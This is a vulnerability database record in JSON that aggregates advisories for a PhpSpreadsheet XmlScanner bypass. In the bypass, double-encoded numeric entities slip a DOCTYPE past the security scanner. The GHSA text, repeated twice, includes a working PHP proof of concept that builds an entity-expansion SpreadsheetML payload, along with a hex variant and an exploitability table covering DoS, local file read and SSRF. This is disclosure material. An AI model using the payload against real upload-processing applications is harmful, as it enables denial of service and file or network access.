{"id":"CVE-2026-108357","aliases":["CLSA-2026-1793372756","EUVD-2026-108242","GHSA-rxj4-h86g-25gc"],"status":"published","title":"PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service","description":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.","severity":{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00463,"percentile":0.40629,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-611","CWE-776"],"published":"2026-10-22T17:38:16Z","modified":"2026-10-30T19:46:06Z","fixes":[{"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","fixed_in":["5.10.0","3.10.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"last_affected":"5.9.0"},{"fixed":"5.10.0"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"last_affected":"3.10.7"},{"fixed":"3.10.8"}]}]},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.0"},{"fixed":"4.5.0-p5+tuxcare"}]}],"versions":["4.5.0","4.5.0-p1+tuxcare","4.5.0-p2+tuxcare","4.5.0-p3+tuxcare","4.5.0-p4+tuxcare"],"bundled":3},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"5.10.0"}]}],"versions":["4.0.0","4.1.0","4.2.0","4.3.0","4.3.1","4.4.0","4.5.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.5.0","5.6.0","5.7.0","5.8.0","5.8.1","5.9.0"]},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.10.8"}]}],"versions":["3.10.0","3.10.1","3.10.2","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","3.9.1","3.9.2","3.9.3"]}],"products":[{"vendor":"phpoffice","product":"phpspreadsheet"}],"references":[{"url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108357","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rxj4-h86g-25gc"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/108xxx/CVE-2026-108357.json","tags":["advisory"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-108357","title":"PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service","description":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.","status":"published","published":"2026-10-22T17:38:16.098Z","modified":"2026-10-23T21:08:17.784Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-611","CWE-776"],"updated_at":"2026-11-02T14:20:10.510075Z"}],"euvd":[{"id":"EUVD-2026-108242","description":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.","status":"published","published":"2026-10-22T17:38:16Z","modified":"2026-10-23T21:08:17Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:59:31.865878Z"}],"ghsa":[{"id":"GHSA-rxj4-h86g-25gc","title":"PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service","description":"### Summary\nThe SpreadsheetML XML reader (`Reader\\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `\u003c` character as `\u0026#38;#60;`, the first scan decodes `\u0026#38;` to `\u0026` (forming `\u0026#60;`), and the second scan decodes `\u0026#60;` to `\u003c` (forming `\u003c!DOCTYPE`). Neither scan's pattern check detects the `\u003c!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP \u003c 8.0 or when `LIBXML_NOENT` is used.\n\n### Details\n\nThe vulnerability involves an interaction between three code locations:\n\n**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback:\n\n```php\npublic function scan($xml): string\n{\n    $pattern = '/\\0*\u003c\\0*!\\0*D\\0*O\\0*...\\0*/';\n\n    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)\n        throw new Exception('Detected use of ENTITY...');\n    }\n    $xml = $this-\u003etoUtf8($xml);\n    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)\n        throw new Exception('Detected use of ENTITY...');\n    }\n    if ($this-\u003ecallback !== null) {\n        $xml = call_user_func($this-\u003ecallback, $xml); // DECODE (after checks!)\n    }\n    return $xml;  // \u003c!DOCTYPE now present, never checked\n}\n```\n\n**2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result:\n\n```php\n$data = file_get_contents($filename);\n$data = $this-\u003egetSecurityScannerOrThrow()-\u003escan($data); // 1st scan\n// ...\n$this-\u003efileContents = $data; // stores partially-decoded content\n```\n\n**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content:\n\n```php\n$data = $this-\u003efileContents; // already partially decoded\n$xml = simplexml_load_string(\n    $this-\u003egetSecurityScannerOrThrow()-\u003escan($data) // 2nd scan finishes decoding\n);\n```\n\nThe double-scan decode chain:\n\n```\nRaw file:       \u0026#38;#60;!DOCTYPE\n                         |\n1st scan():     pattern check → no match (no \"\u003c\" character)\n                callback → html_entity_decode(\u0026#38;) = \u0026\n                         |\nStored:         \u0026#60;!DOCTYPE\n                         |\n2nd scan():     pattern check → no match (no \"\u003c\" character)\n                callback → html_entity_decode(\u0026#60;) = \u003c\n                         |\nParser sees:    \u003c!DOCTYPE ← never detected by either scan\n```\n\nThe `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`\u0026amp; \u0026lt; \u0026gt; \u0026quot; \u0026apos;`) via Unicode placeholders, but numeric entities (`\u0026#38; \u0026#60; \u0026#x26; \u0026#x3C;`) are not protected and are decoded by `html_entity_decode()`.\n\n### PoC\n\nSave the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\n\n// Double-encoded: \u0026#38;#60; survives two scan() passes\n// 1st scan callback: \u0026#38; → \u0026 (forms \u0026#60;)\n// 2nd scan callback: \u0026#60; → \u003c (forms \u003c!DOCTYPE)\n$entity_value = str_repeat('A', 100000);\n$refs = str_repeat('\u0026big;', 200);\n\n$xml = '\u003c?xml version=\"1.0\"?\u003e' . \"\\n\"\n    . '\u003c?mso-application progid=\"Excel.Sheet\"?\u003e' . \"\\n\"\n    . '\u0026#38;#60;!DOCTYPE Workbook [' . \"\\n\"\n    . '  \u0026#38;#60;!ENTITY big \"' . $entity_value . '\"\u003e' . \"\\n\"\n    . ']\u003e' . \"\\n\"\n    . '\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"' . \"\\n\"\n    . '  xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\u003e' . \"\\n\"\n    . '  \u003cWorksheet ss:Name=\"Sheet1\"\u003e' . \"\\n\"\n    . '    \u003cTable\u003e\u003cRow\u003e\u003cCell\u003e\u003cData ss:Type=\"String\"\u003e' . $refs . '\u003c/Data\u003e\u003c/Cell\u003e\u003c/Row\u003e\u003c/Table\u003e' . \"\\n\"\n    . '  \u003c/Worksheet\u003e' . \"\\n\"\n    . '\u003c/Workbook\u003e';\n\nfile_put_contents('poc.xml', $xml);\necho \"File size: \" . filesize('poc.xml') . \" bytes\\n\";\n\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xml();\necho \"canRead: \" . ($reader-\u003ecanRead('poc.xml') ? 'true' : 'false') . \"\\n\";\n$spreadsheet = $reader-\u003eload('poc.xml');\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet-\u003egetActiveSheet()-\u003egetCell('A1')-\u003egetValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) \u003e 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_toctou.php`\n\n**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).\n\n**Hex variant:** Replace `\u0026#38;#60;` with `\u0026#38;#x3C;` — both are decoded by `html_entity_decode()`.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP \u003c 8.0 / libxml2 \u003c 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded SpreadsheetML XML files (recognized by the `\u003c?mso-application progid=\"Excel.Sheet\"?\u003e` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.","status":"published","published":"2026-10-27T15:38:22Z","modified":"2026-10-27T15:38:25Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N","level":"high"}],"cwes":["CWE-611","CWE-776"],"updated_at":"2026-11-02T14:41:37.912288Z"}],"nvd":[{"id":"CVE-2026-108357","description":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.","status":"published","published":"2026-10-22T18:17:26.377Z","modified":"2026-10-23T22:16:53.18Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-611","CWE-776"],"updated_at":"2026-11-02T14:13:02.724605Z"}],"osv":[{"id":"CVE-2026-108357","title":"PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service","description":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.","status":"published","published":"2026-10-22T17:38:16.098Z","modified":"2026-10-28T02:30:32.926882887Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N","level":"high"}],"cwes":["CWE-611","CWE-776"],"updated_at":"2026-11-02T15:44:54.933106Z"},{"id":"GHSA-rxj4-h86g-25gc","title":"PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service","description":"### Summary\nThe SpreadsheetML XML reader (`Reader\\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `\u003c` character as `\u0026#38;#60;`, the first scan decodes `\u0026#38;` to `\u0026` (forming `\u0026#60;`), and the second scan decodes `\u0026#60;` to `\u003c` (forming `\u003c!DOCTYPE`). Neither scan's pattern check detects the `\u003c!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP \u003c 8.0 or when `LIBXML_NOENT` is used.\n\n### Details\n\nThe vulnerability involves an interaction between three code locations:\n\n**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback:\n\n```php\npublic function scan($xml): string\n{\n    $pattern = '/\\0*\u003c\\0*!\\0*D\\0*O\\0*...\\0*/';\n\n    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)\n        throw new Exception('Detected use of ENTITY...');\n    }\n    $xml = $this-\u003etoUtf8($xml);\n    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)\n        throw new Exception('Detected use of ENTITY...');\n    }\n    if ($this-\u003ecallback !== null) {\n        $xml = call_user_func($this-\u003ecallback, $xml); // DECODE (after checks!)\n    }\n    return $xml;  // \u003c!DOCTYPE now present, never checked\n}\n```\n\n**2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result:\n\n```php\n$data = file_get_contents($filename);\n$data = $this-\u003egetSecurityScannerOrThrow()-\u003escan($data); // 1st scan\n// ...\n$this-\u003efileContents = $data; // stores partially-decoded content\n```\n\n**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content:\n\n```php\n$data = $this-\u003efileContents; // already partially decoded\n$xml = simplexml_load_string(\n    $this-\u003egetSecurityScannerOrThrow()-\u003escan($data) // 2nd scan finishes decoding\n);\n```\n\nThe double-scan decode chain:\n\n```\nRaw file:       \u0026#38;#60;!DOCTYPE\n                         |\n1st scan():     pattern check → no match (no \"\u003c\" character)\n                callback → html_entity_decode(\u0026#38;) = \u0026\n                         |\nStored:         \u0026#60;!DOCTYPE\n                         |\n2nd scan():     pattern check → no match (no \"\u003c\" character)\n                callback → html_entity_decode(\u0026#60;) = \u003c\n                         |\nParser sees:    \u003c!DOCTYPE ← never detected by either scan\n```\n\nThe `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`\u0026amp; \u0026lt; \u0026gt; \u0026quot; \u0026apos;`) via Unicode placeholders, but numeric entities (`\u0026#38; \u0026#60; \u0026#x26; \u0026#x3C;`) are not protected and are decoded by `html_entity_decode()`.\n\n### PoC\n\nSave the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\n\n// Double-encoded: \u0026#38;#60; survives two scan() passes\n// 1st scan callback: \u0026#38; → \u0026 (forms \u0026#60;)\n// 2nd scan callback: \u0026#60; → \u003c (forms \u003c!DOCTYPE)\n$entity_value = str_repeat('A', 100000);\n$refs = str_repeat('\u0026big;', 200);\n\n$xml = '\u003c?xml version=\"1.0\"?\u003e' . \"\\n\"\n    . '\u003c?mso-application progid=\"Excel.Sheet\"?\u003e' . \"\\n\"\n    . '\u0026#38;#60;!DOCTYPE Workbook [' . \"\\n\"\n    . '  \u0026#38;#60;!ENTITY big \"' . $entity_value . '\"\u003e' . \"\\n\"\n    . ']\u003e' . \"\\n\"\n    . '\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"' . \"\\n\"\n    . '  xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\u003e' . \"\\n\"\n    . '  \u003cWorksheet ss:Name=\"Sheet1\"\u003e' . \"\\n\"\n    . '    \u003cTable\u003e\u003cRow\u003e\u003cCell\u003e\u003cData ss:Type=\"String\"\u003e' . $refs . '\u003c/Data\u003e\u003c/Cell\u003e\u003c/Row\u003e\u003c/Table\u003e' . \"\\n\"\n    . '  \u003c/Worksheet\u003e' . \"\\n\"\n    . '\u003c/Workbook\u003e';\n\nfile_put_contents('poc.xml', $xml);\necho \"File size: \" . filesize('poc.xml') . \" bytes\\n\";\n\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xml();\necho \"canRead: \" . ($reader-\u003ecanRead('poc.xml') ? 'true' : 'false') . \"\\n\";\n$spreadsheet = $reader-\u003eload('poc.xml');\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet-\u003egetActiveSheet()-\u003egetCell('A1')-\u003egetValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) \u003e 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_toctou.php`\n\n**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).\n\n**Hex variant:** Replace `\u0026#38;#60;` with `\u0026#38;#x3C;` — both are decoded by `html_entity_decode()`.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP \u003c 8.0 / libxml2 \u003c 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded SpreadsheetML XML files (recognized by the `\u003c?mso-application progid=\"Excel.Sheet\"?\u003e` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.","status":"published","published":"2026-10-27T15:38:22Z","modified":"2026-10-27T15:47:24.893154899Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N","level":"high"}],"cwes":["CWE-611","CWE-776"],"updated_at":"2026-11-02T15:46:56.639206Z"},{"id":"CLSA-2026-1793372756","title":"TuxCare security update for phpoffice/phpspreadsheet (3 CVEs)","description":"TuxCare rebuilt phpoffice/phpspreadsheet to address 3 CVEs. Fixed in 4.5.0-p5+tuxcare.","status":"published","published":"2026-10-30T16:05:56Z","modified":"2026-10-30T19:46:06.614061731Z","updated_at":"2026-11-02T15:43:55.669514Z"}]}}
